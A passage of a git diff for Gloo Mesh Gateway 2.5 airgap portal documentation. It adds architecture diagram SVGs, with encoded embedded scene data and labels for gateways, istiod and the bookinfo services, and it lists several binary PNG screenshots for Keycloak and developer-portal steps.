MDAwNplgXHUwMDAxR1x1MDAwMb1KhSRw0F52k9aFolNMgGlqg4hJSkRUXHUwMDE5qeJcdTAwMTCos35oZFjT5F19XHUwMDFmXHUwMDFh/aZw0Z0sVv58L1x0XHUwMDAwaMC9/lxmgEqtTKSab1x1MDAxOTDsjGu8nD6L3bRGJ6RyXCLfO4mTQ5qQfmSAyV1cdTAwMDRlJ5VBbGzFZ65cdTAwMTEodm7UjTYxcmo/x6GbXGbAXHUwMDA2ms3xu1x1MDAwMJtcdTAwMWQwi5PzxJJCmSh3+Fx1MDAxZivO8bpccklN7VAwRaPsOfxcdTAwMTZcbntcYlx1MDAwNVNRh1FcdTAwMDOgKJhcdTAwMDWw1XrVoEJcdTAwMDArKFx1MDAwN8tcYlx1MDAxNFx1MDAxYUCgzdBcdTAwMDfQLKBcdTAwMWJAZVx1MDAxYfCPQCsgXHUwMDE0XHUwMDExXHUwMDAzpVx1MDAwMFx1MDAwYlx1MDAwMFx1MDAxOKA+MCimoJdcdTAwMThcdTAwMDNcdTAwMTKm9jjgXHUwMDFmg4FtIbUy6bdcdTAwMDB+NuN3aVx1MDAxOetcdTAwMTCblokwRaHY8mjCvG+ogsMlN1x1MDAwMiiMLTBrgDeYJtKYjiuTM4aHsYlg3Vx1MDAwNFx1MDAxMVx1MDAxYjFcdTAwMWWmlsme0oD4pVx0nWVLSVx1MDAwZlxilpVcdTAwMWJLXHUwMDAwllx1MDAwZfAuI1x1MDAxYiGyu1x1MDAwNDCXQZREkp/1XHUwMDBiXGJYU3rbhFAv/7lA7v5zrYRZry1cdTAwMDJcdTAwMDcuypXj1u1cdTAwMDDFXHUwMDFmW49cdTAwMTfpm2rmOHV8XHUwMDFmdSCoLGPSweqbpJ2VkoBYaWN8SmRcdTAwMTLJkPDyI+7b287iJlx1MDAxOFx1MDAxYvjQ2JiEOFx1MDAxNVxixD9cYlx1MDAwZlx1MDAwYiAxXHUwMDEz1bp+fmSqOJqIxyi7XHUwMDEyo+NEZ1xiu0IgXHUwMDBlolx1MDAwMFx1MDAwMzv6T5IkKFnN6+Lz1ZDWxtlB/WpcdTAwMTivubWtjlxmXHUwMDAy4lx1MDAxNlJcYqxRxU3j+FVcdTAwMDSETaI6YCOQXHUwMDAyYPbb8sc/XHUwMDFmXHUwMDAxwVx1MDAwNI0swiZRiNpcdTAwMGLcf/Sz1kxcYlx1MDAxOCjKoaPfXGJon1J2noAlXHUwMDA2iEUzULmAQUA2Kqo2Olk9MVx1MDAwYoxcdTAwMDfox6TRKOO0RWyja8pcdTAwMTO0XHUwMDE419TcwVx1MDAwNdJcdTAwMWQzUDebvazesFx1MDAwNVx1MDAwNlx1MDAwNMSvXHUwMDE04EG4XHUwMDE18KZcdTAwMGavoydwiZlagFx1MDAxMsZcdTAwMDRON9mTSG2Ead7IXHUwMDA1gFx1MDAwYsX0h0uZXHUwMDE4xaZtXHUwMDAz+lx1MDAwMi6uye3avf6WNIm1XHUwMDAw6LYoZXGuZ5nnp+S0SVx1MDAxMv38eFx1MDAxNJfpkVtcdTAwMGLSXHL1t1ZNxDDr8mhqXHUwMDAxXHUwMDEwoKYtXHUwMDE5/JssO7BcdTAwMDBcdTAwMDdgS1x0+IQog2qVe8BcdTAwMTeAvLIu7lx1MDAwMVxcmGWQuMbASIRw6Vx1MDAwNFxcpCW5qfGpXHUwMDAwXHUwMDEwXHUwMDBi4lBiXHUwMDEwYC1ALPq710+Nnb1dXHR+XHUwMDEyu0jl7uVtXHUwMDAxNS6K+sSuWj6SyWH3pDlQNvmyxklMXHUwMDFkksmZZbQyXGJcdTAwMTU1P2iTvyTUllx1MDAxOe7vlfNEOZMtzsTxOKZ7OMNcdTAwMWbTjvVTTYVBbFx1MDAxY1x1MDAxMFSDNWKgsVqfXHUwMDE0tyhQJFwi1FRbQvjLl+pxo25zrdF1UPJcctuKN6518EGgPFx1MDAxMKy9f2Tq3eMyouVTXHUwMDExXHUwMDA3XHUwMDA1glx1MDAxNNhcXEBpXHUwMDFj0+WsPTCEQV9cdFx0yplcdFNe2L1cXM9exaG5yedVlGFTXHUwMDExnth9hItcYlx1MDAwZm5cIm9cdFx1MDAxMDuAXHUwMDEyrNCadFx1MDAwM7OSULExqO+Ly7a3q1it33qg6ctkhfHO3euwMow5iVx1MDAxMWTS1Vx1MDAwMMhrsKgpTMBWXGZ/IUaMqWtcbntI031ULU7gt5RtW1x1MDAxNKyeY0ZjRVx1MDAwMO9hunRcdTAwMDK9qJ5cbqKPc9NcdTAwMWLA1FdFdG1SX0m2udP2j09XqDo42aZd21x1MDAxZZlq4Fxcb+Vy8u5cdTAwMGJcdTAwMWNR2Vx1MDAwNpDYXHUwMDAyYExcdTAwMThiJqmXrMk2Y+8yQ2uYglx1MDAwNeJcdTAwMGXe9pJtjFx1MDAwMUQkXHUwMDFjkFx1MDAwMzHVdFx1MDAxY1willxyiVx1MDAwMIbkWHKgXHUwMDAwXHUwMDEwyWvAjVx1MDAxMID/mm48jPziwu38garkdb1+r1HqOXVcdTAwMTnDT13ccsFI1FRqXHUwMDEyYGWZwCFcImyHd1x1MDAwYowkiEHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-monetization/grafana.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-monetization/grafana.png new file mode 100644 index 0000000000..19983ad4cf Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-monetization/grafana.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/api-key.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/api-key.png new file mode 100644 index 0000000000..3b5bf6a548 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/api-key.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/api-keys.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/api-keys.png new file mode 100644 index 0000000000..cc94cb8c61 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/api-keys.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/apis.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/apis.png new file mode 100644 index 0000000000..04acf533a0 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/apis.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/home.png b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/home.png new file mode 100644 index 0000000000..c705b86e11 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/dev-portal-self-service/home.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + 